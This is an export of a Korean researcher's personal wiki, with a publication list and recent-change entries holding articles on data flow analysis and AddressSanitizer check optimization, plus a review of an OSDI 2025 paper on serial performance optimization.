<div class="home-card__label">Author</div>
<div class="home-link">
안준호 (Ahn, Junho)<br>
KAIST E3-1 CASYS Lab<br>
✉️ junhoahn@kaist.ac.kr
<div class="home-link__button">[https://sites.google.com/view/junhoahn/ Curriculum Vitae]</div>
</div>
</div>

<tabber>
|-|First author=
<div id="home-card-onthewiki" class="home-card home-card--col3 home-card--row1">
<div class="home-card__label">Submissions</div>
# USENIX Security 2024 <strong>Junho Ahn</strong>, Jaehyeon Lee, KangHyuk Lee, Wooseok Gwak, Minseong Hwang, Youngjin Kwon, "[[BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel]]" (Acceptance rate: 18.32%, BK21++)
# IEEE S&P 2025 <strong>Junho Ahn</strong>, KangHyuk Lee, Chanyoung Park, Hyungon Moon, Youngjin Kwon, "[[SwiftSweeper: Defeating Use-After-Free Bugs Using Memory Sweeper Without Stop-the-World]]" (Acceptance rate: 14.8%, BK21++)
# European Conference on Computer Systems (EuroSys), 2026 Minkyu Jung, Chanshin Kwak, <strong>Junho Ahn</strong>, Sunho Park, Changjun Lee, Jongyul Kim, Jeehoon Kang, Youngjin Kwon "CofferOS: Hardening OS-level Virtualization with Rust" (BK21++)
# OSDI 2026 Jongyul Kim, Jaehwan Lee, Inhoe Koo, Peizhe Liu, Jiyuan Zhang, <strong>Junho Ahn</strong>, Tianyin Xu, Youngjin Kwon, "Oxbow: A Coordinated Architecture for Multi-component File Systems"
<div class="home-card__header" style="font-size:200%">
<tabber>
|-|Collaboration=
<div id="home-card-onthewiki" class="home-card home-card--col3 home-card--row1">
<div class="home-card__label">Submissions</div>

<div class="home-card__header" style="font-size:200%">
</div>

</div>
<div style="clear:both"></div>
</tabber>

</div>
<tabber>
|-|Science=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">전산과학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">논문 작성법</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">수학</categorytree>
</div>
<div style="clear:both"></div>
|-|Hobby=
<div class="home-card">
<categorytree mode="pages" namespaces="Main Category">필름 카메라</categorytree>
</div>
|-|Liberal Arts=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">중국 문화와 역사</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
</tabber>

<div class="home-card">
<div class="home-card__label">최근 바뀜</div>
{{Special:RecentChanges/15,hidecategorization,hideminor}}
</div>
</div>

<!---
|-|Book Review=
<div class="home-card">
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">문학</categorytree>
</div>
<div class="main-top-left" style="float:left">
<categorytree mode="pages" namespaces="Main Category">사회과학</categorytree>
</div>
<div style="clear:both"></div>
---!>

Data Flow Analysis

2026-03-25T08:20:51Z

Ahn9807: 새 문서: 분류:프로그램 분석 == 개요 == '''Data Flow Analysis'''는 프로그램의 각 지점(program point)에서 변수나 메모리 상태에 대한 정보를 계산하는 정적 분석 기법이다. 이 분석은 프로그램을 실행하지 않고도, 가능한 모든 실행 경로를 고려하여 변수의 값, 상태, 혹은 속성(property)을 추론하는 것을 목표로 한다. 특히, Data Flow Analysis는 프로그램을 '''Control Flow Graph (CFG)'''로 변...

[[분류:프로그램 분석]]

== 개요 ==
'''Data Flow Analysis'''는 프로그램의 각 지점(program point)에서 변수나 메모리 상태에 대한 정보를 계산하는 정적 분석 기법이다. 이 분석은 프로그램을 실행하지 않고도, 가능한 모든 실행 경로를 고려하여 변수의 값, 상태, 혹은 속성(property)을 추론하는 것을 목표로 한다.

특히, Data Flow Analysis는 프로그램을 '''Control Flow Graph (CFG)'''로 변환한 뒤, 각 노드에서의 상태를 정의하고, 이 상태가 CFG를 따라 어떻게 전달(propagate)되는지를 반복적으로 계산하는 방식으로 동작한다. 이 과정에서 각 지점의 상태는 단순한 값이 아니라 '''추상화된 정보(abstract value)'''로 표현되며, 이는 실제 실행 시 발생할 수 있는 여러 경우를 하나로 요약한 것이다. DFA는 실제 값 대신 추상 도메인 위에서 계산을 수행함으로써, 현실적인 비용 내에서 프로그램의 전반적인 특성을 파악할 수 있도록 한다.

== Motivation & Importance ==
Data Flow Analysis는 다음과 같은 이유로 매우 중요한 기술이다.

* '''컴파일러 최적화'''
** Constant propagation: 변수의 값이 상수로 확정되는 경우 이를 전파하여 연산 제거
** Dead code elimination: 사용되지 않는 코드 제거
** Redundant computation 제거

* '''버그 탐지 및 검증'''
** 초기화되지 않은 변수 사용
** Null pointer dereference
** Use-after-free와 같은 메모리 오류

* '''보안 분석'''
** 데이터가 신뢰되지 않은 입력으로부터 왔는지 추적 (taint analysis)
** 권한 상승이나 정보 유출 가능성 분석

기존의 동적 분석은 특정 실행 경로에 대해서만 정보를 얻을 수 있지만, Data Flow Analysis는 '''모든 가능한 실행 경로를 동시에 고려'''하기 때문에, 보다 안전하고 보수적인 결과를 제공한다. 이에, Data Flow Analysis는 다양한 정적 분석 및 검증 시스템의 기반이 된다.

== Challenge ==
Data Flow Analysis를 설계하고 구현하는 데에는 여러 가지 어려움이 존재한다.

#'''경로의 폭발(Path Explosion)''': 프로그램에는 조건문과 반복문이 존재하기 때문에, 가능한 실행 경로의 수가 기하급수적으로 증가한다. 이를 그대로 추적하는 것은 현실적으로 불가능하다.
#'''정보 병합(Merge) 문제''':여러 경로에서 동일한 프로그램 지점으로 도달할 경우, 각 경로의 상태를 하나로 합쳐야 한다. 이때 정보를 어떻게 보존하면서도 간결하게 표현할지가 중요하다.
#'''정밀도 vs 성능''':더 정밀한 분석을 위해서는 더 많은 상태를 유지해야 하지만, 이는 계산 비용 증가로 이어진다. 반대로 단순화하면 빠르지만 부정확해진다.
# '''루프와 고정점''': 루프가 존재하면 상태가 반복적으로 변화하게 되므로, 언제 계산을 멈출지 결정해야 한다. 이를 위해 '''고정점(Fixed Point)''' 개념이 사용된다.

이를 해결하기 위해서 '''lattice 구조와 monotonic transfer function'''을 사용하여 반드시 수렴하도록 DFA를 설계하는 것이 기본이다.

== Background ==

=== [[Control Flow Graph]] (CFG) ===
프로그램의 실행 흐름을 그래프로 나타낸 구조이다.

* 노드: basic block (연속된 명령어의 집합)
* 간선: 제어 흐름 (branch, jump, function call 등)

CFG는 Data Flow Analysis의 기반이 되며, 모든 상태 전파는 이 그래프 위에서 이루어진다.

=== [[Abstract Domain]] ===
실제 값을 그대로 사용하는 대신, 이를 추상화한 값으로 표현한다.

예:
* 정수 값 → {constant c, non-constant, unknown}
* 변수 상태 → {initialized, uninitialized}
* 포인터 상태 → {null, non-null, unknown}

이러한 추상화는 여러 실행 경로를 하나의 상태로 요약하기 위해 필요하다.

=== Lattice ===
[[파일:Data Flow Analysis Lattice.png|섬네일|오른쪽]]
Abstract Domain은 일반적으로 '''lattice 구조'''를 가진다.

* 각 상태는 부분 순서(partial order)로 비교 가능
* join 연산을 통해 여러 상태를 결합 가능
* bottom: 정보 없음 (초기 상태)
* top: 모든 가능성을 포함 (가장 보수적 상태)

여기서 [[Partial Order]]는 다음과 같은 Order체계를 의미한다.
join(a, b) ⩾ a and join(a, b) ⩾ b and join(x, x) = x

이 구조 덕분에 반복 계산이 항상 수렴하게 된다.

=== Transfer Function ===
각 프로그램 문장이 상태를 어떻게 변화시키는지를 정의한다.

예:
<syntaxhighlight lang=c>
x = y + 1;
</syntaxhighlight>

* y가 constant이면 → x도 constant
* y가 unknown이면 → x도 unknown

Transfer function은 '''monotonic'''해야 하며, 이는 분석이 안정적으로 수렴하기 위한 조건이다.

=== Join Operation ===
여러 경로에서 온 상태를 하나로 합치는 연산이다.

예:
<syntaxhighlight lang=c>
if (cond) x = 1;
else x = 2;
</syntaxhighlight>

→ x ∈ {1, 2}

Join은 정보 손실을 동반할 수 있으며, 이는 분석의 보수성을 증가시킨다.

== Main Idea ==
Data Flow Analysis의 핵심 아이디어는 다음과 같다.

* 프로그램의 각 지점에 대해 상태를 정의하고
* 이 상태를 CFG를 따라 반복적으로 전파하며
* 더 이상 상태가 변하지 않을 때까지 계산한다

이 과정을 '''고정점 계산(Fixed Point Computation)'''이라고 한다.

초기에는 모든 상태를 bottom으로 시작하고, transfer function과 join을 반복 적용하면서 점점 더 많은 정보를 포함하게 된다. 이 과정은 lattice의 구조 덕분에 반드시 수렴한다.

LLVM 문서에서는 이러한 반복 계산을 통해, 각 프로그램 지점에서의 '''sound한(over-approximate) 결과'''를 얻을 수 있다고 설명한다.

== Design ==

=== Worklist Algorithm ===
실제 구현에서는 '''worklist 알고리즘'''이 사용된다.

* 초기 상태 설정
* 변경이 발생한 노드를 worklist에 추가
* 하나씩 꺼내어 transfer function 적용
* 결과가 변하면 후속 노드를 다시 worklist에 추가

이 방식은 불필요한 계산을 줄이면서 효율적으로 고정점에 도달하도록 한다.

=== Forward vs Backward Analysis ===
* Forward analysis
** 프로그램 시작 → 끝 방향
** 예: constant propagation

* Backward analysis
** 프로그램 끝 → 시작 방향
** 예: liveness analysis

분석 목적에 따라 방향이 결정된다.

=== May vs Must Analysis ===
* May analysis
** 어떤 경로에서라도 가능하면 포함
** 보수적 (over-approximation)

* Must analysis
** 모든 경로에서 반드시 성립해야 포함
** 더 엄격하지만 정보가 줄어들 수 있음

=== Flow-sensitive vs Flow-insensitive ===
* Flow-sensitive: 프로그램 순서를 고려
* Flow-insensitive: 순서를 무시하고 전체를 하나로 분석

LLVM 문서에서는 주로 flow-sensitive 분석을 기반으로 설명한다.

== Result ==
Data Flow Analysis를 통해 다음과 같은 정보를 얻을 수 있다.

* 각 프로그램 지점에서 변수의 가능한 값 또는 상태
* 안전한 최적화 수행 가능
* 프로그램의 잠재적 오류 탐지

특히, 이 분석은 실제 실행 없이도 '''모든 가능한 실행 경로를 고려한 결과'''를 제공하며, 이는 정적 분석의 핵심적인 장점이다.

또한 결과는 '''over-approximation'''이므로, 실제로는 발생하지 않는 경우도 포함될 수 있지만, 반대로 중요한 오류를 놓치지 않는다는 장점이 있다.

== Contribution (Conclusion) ==
Data Flow Analysis는 다음과 같은 기여를 한다.

* 프로그램 분석을 위한 일반적인 프레임워크 제공 (CFG + lattice + fixed point)
* 다양한 최적화 및 정적 분석 기법의 기반
* 추상 해석을 통해 현실적인 비용으로 전체 프로그램 분석 가능

LLVM 문서에서 설명하듯이, 이 프레임워크는 다양한 분석 문제에 재사용 가능하며, 새로운 분석을 설계할 때도 동일한 구조를 활용할 수 있다.

== Criticize (Conclusion) ==
다음과 같은 한계가 존재한다.

* '''False positive'''
보수적 분석으로 인해 실제로는 발생하지 않는 오류도 탐지됨

* '''정밀도 한계'''
추상화 과정에서 정보 손실 발생

* '''성능 문제'''
복잡한 프로그램에서는 분석 비용 증가

* '''모델링 한계'''
실제 실행 환경(예: 시스템 호출, 외부 입력)을 완전히 반영하기 어려움

그럼에도 불구하고, Data Flow Analysis는 현대 컴파일러와 보안 분석에서 필수적인 핵심 기술이며, LLVM과 같은 시스템에서도 핵심 기반으로 활용되고 있다.

== References ==
# https://clang.llvm.org/docs/DataFlowAnalysisIntro.html

파일:Data Flow Analysis Lattice.png

2026-03-25T05:59:43Z

Ahn9807:

https://clang.llvm.org/docs/DataFlowAnalysisIntro.html

AddressSanitizer Optimization

2026-03-23T07:11:34Z

Ahn9807: 새 문서: 분류:AddressSanitizer 분류:Program Analysis 분류:Optimization == 개요 == 이 문서는 AddressSanitizer(ASan)의 실행 오버헤드를 줄이기 위한 다양한 최적화 기법들을 정리한 문서이다. ASan은 heap, stack, global object에 대한 out-of-bounds access와 heap use-after-free를 효과적으로 검출하지만, 각 memory access마다 shadow memory를 확인하는 check를 삽입하므로 실행 시간 오버헤드가 크다. == Remo...

[[분류:AddressSanitizer]]
[[분류:Program Analysis]]
[[분류:Optimization]]

== 개요 ==
이 문서는 AddressSanitizer(ASan)의 실행 오버헤드를 줄이기 위한 다양한 최적화 기법들을 정리한 문서이다.

ASan은 heap, stack, global object에 대한 out-of-bounds access와 heap use-after-free를 효과적으로 검출하지만, 각 memory access마다 shadow memory를 확인하는 check를 삽입하므로 실행 시간 오버헤드가 크다.

== Removing Unsatisfiable Checks ==
이 범주는 프로그램 의미론 상 절대로 실패할 수 없는 ASan check를 제거하는 방식이다.

ASan check는 기본적으로 어떤 주소 <math>addr</math>에 접근하기 전에 그 주소에 대응되는 shadow byte를 확인한다. 그런데 접근 대상 object의 크기와 offset, access size가 모두 정적으로 계산 가능하고, 모든 경로에서 범위 내 접근임이 보장되면 shadow를 확인할 이유가 없다. 이런 check는 남겨 두어도 항상 통과하기만 하므로 순수 오버헤드가 된다.

일반적으로 다음 조건이 모든 실행 경로에서 성립하면 제거 가능하다.

* <math>offset \ge 0</math>
* <math>offset + access\_size \le object\_size</math>

예를 들어 다음 코드는 접근 위치가 완전히 정적으로 결정된다.

<syntaxhighlight lang=c>
int foo() {
char buf[20];
buf[10] = 0;
}
</syntaxhighlight>

이 최적화는 특히 다음과 같은 경우에 잘 적용된다.

* stack object에 대한 상수 인덱스 접근
* global array에 대한 정적 인덱스 접근
* 구조체 필드 접근처럼 layout이 compile time에 확정되는 경우
* inlining과 constant propagation 이후 값이 상수로 환원되는 경우

반대로 다음과 같은 경우는 조심해야 한다.

* pointer arithmetic 결과가 외부 입력에 의존하는 경우
* heap object 크기가 정적으로 불명확한 경우
* alias를 통해 실제 object 경계가 바뀔 수 있는 경우
* signed/unsigned cast 때문에 정적 범위 추론이 깨지는 경우

=== LLVM Backward tracing ===
실제 코드에서는 인덱스가 항상 상수로 직접 나타나지 않는다. 따라서 단순히 ''배열 첨자에 상수가 들어갔는가''만 보면 많은 기회를 놓친다. 이를 보완하는 방식이 backward tracing이다.

<syntaxhighlight lang=c>
int foo() {
char buf[20];
unsigned int i = 10;
i++;
buf[i] = 0;
}
</syntaxhighlight>

표면적으로는 <code>i</code>가 변수이므로 동적 접근처럼 보인다. 하지만 SSA 기반 IR에서 보면 최종 값은 <math>11</math>로 환원 가능하다. 즉, 컴파일러가 정의-사용 사슬을 거슬러 올라가며 값을 역추적하면 이 접근 역시 항상 안전하다고 판단할 수 있다.

이 과정에서 주로 필요한 분석은 다음과 같다.

* SSA 기반 value propagation
* constant folding
* backward slicing
* simple range analysis
* dead path pruning

예를 들어 다음과 같은 패턴도 같은 부류이다.

<syntaxhighlight lang=c>
int foo() {
int idx = 4;
int j = idx * 2;
char buf[16];
buf[j] = 1;
return 0;
}
</syntaxhighlight>

여기서 <code>j = 8</code>로 환원되므로 check를 제거할 수 있다.

== Removing Recurring Checks ==
이 범주는 서로 다른 위치에 삽입된 ASan check들이 논리적으로 같은 안전성 조건을 중복해서 확인하는 경우, 뒤의 check를 제거하는 방식이다.

핵심 질문은 다음과 같다.

* 이 check가 검사하는 주소는 이전에 검사한 주소와 같은가
* 이전 check가 더 넓은 범위를 이미 검사했는가
* control-flow 상 이전 check 이후에 대상 pointer나 object 상태가 바뀌지 않는가

가장 단순한 예시는 같은 pointer를 짧은 구간 안에서 반복 접근하는 경우이다.

<syntaxhighlight lang=c>
int *p;
ASan(p);

if (*p == 0) {
ASan(p);
*p = 1;
}
</syntaxhighlight>

두 번째 check는 첫 번째 check와 완전히 같은 대상에 대해 같은 조건을 다시 확인한다. 첫 번째 check 이후에 <code>p</code>가 바뀌지 않고, free가 발생하지 않고, 더 좁아진 memory object로 바뀌지도 않았다면 두 번째 check는 redundant하다.

보다 일반적으로는 다음 조건이 필요하다.

* 두 접근이 must-alias 관계
* 앞선 check가 동일하거나 더 넓은 범위를 검사
* 앞선 check가 뒤 check를 dominance 또는 post-dominance 관계로 덮음
* 두 check 사이에 pointer/object 상태를 깨뜨릴 수 있는 연산이 없음

예를 들어 폭이 다른 access에도 같은 논리가 적용될 수 있다.

<syntaxhighlight lang=c>
char *p;
ASan_8B(p);
x = *(long long *)p;
ASan_1B(p);
y = *p;
</syntaxhighlight>

앞의 8-byte check가 성공했다면 그 범위 안에 포함되는 1-byte access를 다시 검사할 필요가 없는 경우가 있다. 물론 이는 두 access가 같은 object 내에 있고 중간에 상태 변화가 없을 때만 성립한다.

이 최적화는 특히 다음 상황에서 효과적이다.

* 같은 필드를 여러 번 load/store하는 코드
* optimizer가 값을 레지스터로 들고 있지 못해 메모리 재접근이 반복되는 경우
* C++ method chain이나 inline expansion으로 같은 base pointer 검사 코드가 복제되는 경우
* sanitizer slow path를 피하기 위해 원래부터 보수적으로 많은 check가 들어간 경우

하지만 제거가 위험한 경우도 많다.

* 함수 호출이 사이에 있으면 callee가 free를 수행할 수 있다
* unknown store가 object metadata를 바꿀 수 있다
* pointer recast나 integer-to-pointer 변환이 있으면 alias 보장이 약해진다
* signal, longjmp, exceptional control flow 등 비정상 흐름이 있으면 보수적으로 남겨야 한다

따라서 필요한 분석은 다음과 같다.

* alias analysis
* dominance/post-dominance analysis
* escape analysis
* interprocedural mod/ref analysis
* call effect summary

이 계열의 최적화는 check 수를 줄이는 효과가 직접적이며, 특히 대형 C/C++ 프로그램에서 같은 base pointer에 대한 repeated field access가 많기 때문에 체감 효과가 크다.<ref>SANRAZOR: Reducing Redundant Sanitizer Checks in C/C++ Programs. OSDI 2021.</ref><ref>Debloating Address Sanitizer. USENIX Security 2022.</ref>

== Optimizing Neighbor Checks ==
이 범주는 인접한 memory access들이 shadow memory 수준에서는 거의 같은 검사를 수행한다는 점을 이용해, 여러 check를 병합하거나 일부를 제거하는 방식이다.

ASan은 보통 주소를 8:1 shadow mapping으로 변환해 shadow byte를 읽는다. 따라서 주소가 서로 가깝다면 결국 같은 shadow byte 또는 인접한 몇 개의 shadow byte만 확인하게 된다. 이때 source-level access는 여러 개여도 shadow-level 정보는 거의 중복일 수 있다.

=== Mergeable Neighbor Checks ===
서로 인접한 access가 같은 shadow 영역에 속하면, 여러 개의 ASan check를 하나의 묶음 검사로 합칠 수 있다.

예를 들어 다음과 같은 구조체 field access를 생각할 수 있다.

<syntaxhighlight lang=c>
struct S {
int a;
int b;
};

void foo(struct S *ptr) {
ptr->a = 1;
ptr->b = 2;
}
</syntaxhighlight>

일반적인 instrumentation은 다음처럼 각 access마다 독립 check를 넣는다.

* <code>ASan(ptr->a)</code>
* <code>ASan(ptr->b)</code>

하지만 <code>a</code>와 <code>b</code>가 메모리상 연속해 있고 같은 shadow block 또는 매우 가까운 shadow block을 사용한다면, 두 access를 위해 shadow를 두 번 읽는 것은 낭비다. 이때 다음과 같은 병합이 가능하다.

* 먼저 더 큰 범위의 shadow 상태를 한 번 확인
* fast path에서는 두 access를 모두 safe로 간주
* slow path에서만 원래의 세밀한 개별 check로 분기

즉, 논리는 ''넓게 한 번 보고, 이상이 있을 때만 자세히 본다''이다.

이 방식은 다음 이점을 준다.

* shadow load 수 감소
* conditional branch 수 감소
* instruction cache pressure 감소
* 같은 base address 계산의 중복 감소

다만 병합 가능한지는 다음에 좌우된다.

* 두 access의 상대 위치가 정적으로 알려져 있는가
* 병합한 범위가 false negative 없이 원래 두 check를 커버하는가
* alignment와 access width 차이 때문에 coarse check가 지나치게 커지지 않는가

=== Removable Neighbor Checks ===
인접 access 중 일부는 주변 access만으로도 오류가 검출되므로 완전히 제거할 수 있다.

<syntaxhighlight lang=c>
ptr->a = ...;
ptr->b = ...;
ptr->c = ...;
</syntaxhighlight>

여기서 <code>ptr->b</code>가 가리키는 위치에서 위반이 발생한다면, 그 위반이 구조상 반드시 <code>ptr->a</code> 또는 <code>ptr->c</code>의 check에서도 드러나는 경우가 있다. 이 경우 <code>ptr->b</code> check는 새로운 오류 검출 능력을 추가하지 않는다.

이 최적화는 직관적으로는 애매해 보이지만, 핵심은 ''이 access가 독립적인 정보량을 제공하는가''이다. 만약 가운데 access가 주변 access들의 union으로 커버되는 memory safety boundary 안에 있다면 중간 check는 제거 가능하다.

대표적으로 다음 상황에서 기회가 생긴다.

* packed struct field access
* compiler가 분해한 memcpy/memset의 이웃 store들
* vectorized access가 scalar access로 다시 쪼개진 경우
* small-width field들이 연달아 접근되는 경우

이 범주의 최적화는 correctness 조건이 섬세하므로 보통 보수적으로 적용한다. 잘못 적용하면 false negative가 생기기 때문이다.

== Optimizing Checks in Loops ==
loop 내부 check는 ASan overhead의 핵심 원인 중 하나다. 루프는 본질적으로 같은 패턴의 access를 대량 반복하므로, per-iteration instrumentation은 비용이 눈덩이처럼 커진다.

이 범주의 핵심은 다음 두 가지다.

* loop를 도는 동안 변하지 않는 것은 밖으로 빼기
* 반복되는 접근을 chunk 단위로 묶기

=== Loop-invariant Checks ===
루프 안에서 같은 주소를 계속 접근한다면 매 iteration마다 ASan check를 할 필요가 없다.

<syntaxhighlight lang=c>
for (int i = 0; i < N; i++) {
ASan(ptr);
*ptr = i;
}
</syntaxhighlight>

이 코드는 실제로는 같은 위치 <code>ptr</code>를 반복해서 쓴다. 따라서 다음처럼 바꿀 수 있다.

<syntaxhighlight lang=c>
ASan(ptr);
for (int i = 0; i < N; i++) {
*ptr = i;
}
</syntaxhighlight>

이 최적화는 일반 loop-invariant code motion과 유사하지만, 중요한 차이가 있다. 원래 store 자체는 side effect 때문에 루프 밖으로 뺄 수 없더라도, ''check''는 뺄 수 있다는 점이다.

적용 조건은 다음과 같다.

* 루프 반복 동안 대상 주소가 변하지 않음
* 루프 안에서 free/unmap/reallocation 같은 상태 변화가 없음
* signal-like 비정상 흐름으로 memory validity가 바뀌지 않음
* hoisted check가 루프 내 모든 access를 sound하게 대표함

이 최적화는 특히 작은 loop body에서 효과가 크다. 원래 check가 차지하던 비중이 커서, hoisting만으로도 branch와 shadow access 수가 크게 줄어든다.

=== Grouped Checks in Loops ===
loop가 연속된 주소를 차례로 접근한다면, 각 iteration마다 check하는 대신 몇 개 iteration을 묶어서 검사할 수 있다.

<syntaxhighlight lang=c>
for (int i = 0; i < N; i++) {
ASan(ptr + i);
ptr[i] = i;
}
</syntaxhighlight>

이 경우 <code>ptr + i</code>는 연속 증가 주소다. ASan shadow mapping의 granularity를 생각하면, 여러 iteration이 같은 shadow chunk를 공유할 수 있다. 따라서 매번 check하는 대신 다음처럼 바꿀 수 있다.

* 현재 iteration이 속한 shadow chunk를 확인
* 그 chunk 범위 안에서는 추가 check 생략
* chunk 경계를 넘을 때만 다시 검사

즉, ''per-access check''를 ''per-chunk check''로 바꾸는 것이다.

이 방식이 성립하려면 보통 다음이 필요하다.

* contiguous access 또는 고정 stride access
* induction variable이 명확함
* access width가 일정하거나 상한이 추론 가능함
* redzone boundary를 정확히 고려할 수 있음

예를 들어 <math>8:1</math> shadow mapping에서 1-byte store가 연속해서 8번 일어나면, 이 8개의 access는 같은 shadow byte 상태와 연관될 수 있다. 이때 매번 shadow를 읽지 않고 한 번만 읽어도 충분한 경우가 많다.

실제 구현 시 고려해야 할 문제는 다음과 같다.

* 마지막 iteration에서 chunk를 부분적으로만 쓰는 경우
* loop peeling/unrolling 후 원래 induction 관계가 바뀌는 경우
* vectorized loop와 scalar remainder loop를 별도로 처리해야 하는 경우
* stride가 1이 아니라 2, 4, 8인 경우 coverage 계산이 달라지는 경우

이 범주의 최적화는 대규모 array processing, codec, parser, numeric kernel처럼 loop가 긴 코드에서 특히 효과적이다.<ref>Debloating Address Sanitizer. USENIX Security 2022.</ref>

== Redesigning ASAN Checks ==

== References ==

Principles and Methodologies for Serial Performance Optimization

2026-03-19T02:23:09Z

Ahn9807:

[[분류:USENIX OSDI]]
{{Paper|title=Principles and Methodologies for Serial Performance Optimization|author=Sujin Park, Mingyu Guan, Xiang Cheng, Taesoo Kim
Georgia Institute of Technology|year=2025|conference=USENIX OSDI 19}}

== 개요 ==
이 논문은 시스템 성능 최적화에 초점을 맞추고, 이를 체계적으로 최적화하기 위한 framework를 제안한다. 기존에는 성능 최적화가 경험과 직관에 의존했으나, 본 논문은 이를 구조화된 문제로 정의한다.

핵심적으로, sequential task sequence를 최적화하는 세 가지 원리 (removal, replacement, reordering)를 정의하고, 이를 기반으로 8가지 방법론 (batching, caching, precomputing, deferring, relaxation, contextualization, hardware specialization, layering)을 제시한다.

또한, 지난 10년간 OSDI/SOSP 논문 477편을 분석하여, 해당 8가지 방법론이 실제 성능 최적화 기법을 거의 모두 설명할 수 있음을 보인다. 추가적으로 SysGPT라는 fine-tuned LLM을 통해 자동화된 최적화 제안 가능성을 실험적으로 보여준다.

== Motivation & Importance ==
=== 문제 정의 ===
시스템 성능 향상의 핵심은 latency 감소와 throughput 증가이다. 이는 유저 경험에 큰 영향을 미치고, '''사실 논문 작성을 위한 Implementation'''에서도 대부분의 시간을 차지하는 중요한 작업이다. 여기서 Optimization의 중요한 좀은, Sequential portion이 전체 성능의 bottleneck이 된다는 점이다. 이는 [[암달의 법칙]](Amdahl’s law)으로도 잘 알려져 있다.

기존 연구들은 체계적인 방법론이 아니라 optimization이 경험 기반(heuristic)이기 떄문에, 이러한 경험을 확장시키지 못하였다. 본 논문은 Optimization을 하나의 체계화된 구조로 정리하여서, 쉽게 프로그램의 Serial part를 최적화 할 수 있도록 하였다.

== Main Idea ==
문헌 조사를 통해서 기존에는 모호하거나 구전되던 여러 방법들을 3개의 원리와 8개의 방법론으로 분류 하였다.

== Design ==
[[파일:USENIX OSDI 2025 Sujin, Park Table 1.png|프레임|가운데]]
=== 3가지의 원리 ===
* Removal (<math>P_{rm}</math>): 수행해야 하는 Instruction의 개수를 줄여서 optimization하는 방법이다.
* Replacement (<math>P_{rep}</math>): 기존에 수행되던 Instruction을 더 빠른 방식 또는 더 효율적인 알고리즘으로 대체하여 전체 실행 비용을 줄이는 방법이다.
* Reordering (<math>P_{ord}</math>): Instruction 또는 Task의 실행 순서를 변경하여 dependency를 유지하면서도 latency를 줄이거나 병목 구간을 완화하는 방법이다.

=== 8가지 Methodologies ===
# Batching [Rm, Rep, Ord]: 여러 태스크들을 묶어서 처리하여 각 태스크에 존재하는 중복 비용을 제거하고 ('''Rm'''), 묶음 단위로 더 효율적인 처리 방식으로 대체하며 ('''Rep'''), 실행 순서를 조정하여 locality를 향상시키는 ('''Ord''') 기법이다.
# Caching [Rep]: 이전에 수행된 연산 결과를 저장해두고 재사용함으로써, 동일한 연산을 반복 수행하는 알고리즘을 대체하는 ('''Rep''') 기법이다.
# Precomputing [Rm, Ord]: 실행 경로 상에서 수행될 연산을 미리 계산하여 runtime의 critical path에서 해당 작업을 제거하고 ('''Rm'''), 실행 시점을 앞당겨 순서를 변경하는 ('''Ord''') 기법이다.
# Deferring [Ord -> Rm,Ord]: 즉시 수행할 필요가 없는 작업을 나중으로 미루어 실행 순서를 변경하고 ('''Ord'''), batching이나 추가적인 최적화 기회를 확보하는 기법이다.
# Relaxation [Rep, Rm]: 정확성이나 일관성의 일부를 희생하는 대신, 더 단순하고 빠른 연산으로 대체하여 실행 비용을 줄이거나 ('''Rep''') 아니면 생략 하는 ('''Rm''') 기법이다.
# Contextualization [Rep, Ord]: runtime 상황이나 workload 특성에 맞게 실행 방식을 더 적합한 방식으로 대체하는 ('''Rep''') 방식이다.
# Hardware Specialization [Rep]: 특정 하드웨어의 특성을 활용하여 기존 연산을 더 빠른 하드웨어 기반 처리로 대체하는 ('''Rep''') 기법이다.
# Layering [Rm, Rep]: 시스템 계층을 제거하거나 우회하여 불필요한 작업을 제거하고 ('''Rm'''), 하나의 레이어를 여러개의 레이어로 나누어서 상호의존성을 줄이는 ('''Rep''') 기법이다.

=== Methodology 특징 ===
* 여러 방법이 동시에 사용됨 (평균 2.01개)
* 서로 결합되어 효과 증폭

== Result ==
=== Empirical Study ===
* OSDI/SOSP 477개 논문 분석
* 206개 performance 논문 모두 8가지 방법론으로 설명 가능 (특히 논문에서 제일 재밌는 파트였는데, 기존의 내가 알고 있던 논문들의 Design들이 제시한 Optimization기법으로 설명된다는 것을 보며, 논문을 읽으면서 들었던 생각인, 어쩌면 중복되는 아이디어가 많다는 생각이 여기서 나온 것은 아닌 가 하는 생각이 들었다. 따라서 Implementation이든 Design이든 새로운 시스템 아이디어를 구현한다는 것은 어떻게 기존 시스템을 보다 최적화 할 수 있다는 것에 있음을 보며, 적절한 Optimization기법을 효과적으로 사용하는 방법을 배우는 과정이라는 생각이 들었다.)

== [[Conclusion]] ==
이 논문은 Memory allocator optimization을 많이 해 왔던 나의 경험에 비추어서, 평소 생각하고 있었던 Implementation의 Optimization step-by-step solution의 가려운 부분을 긁어준 매우 재미있는 논문이었다. 나중에도 만약 Optimization할일이 있다면, 이 논문에서 제공하는 여러 원리와 방법론들을 참고 하면서 (혹은 GPT에 이 논문을 넣고 해줘 하면서...), checklist를 참고할 수 있을 것 같다는 생각이든다. 논문의 흐름도 매우 매끄럽고, 이해하는데 어려움이 없었지만, 몇몇 설명들은 설명의 Completness를 위해서인지 조금 쉬운 내용을 어렵게 설명하는 느낌이 (E.g., Section 2.1 Principles for performance optimization)있었다. 그리고 원리의 3가지 요소들은 서로 중복되는 면이 없지 않는가 하는 생각이 들었다.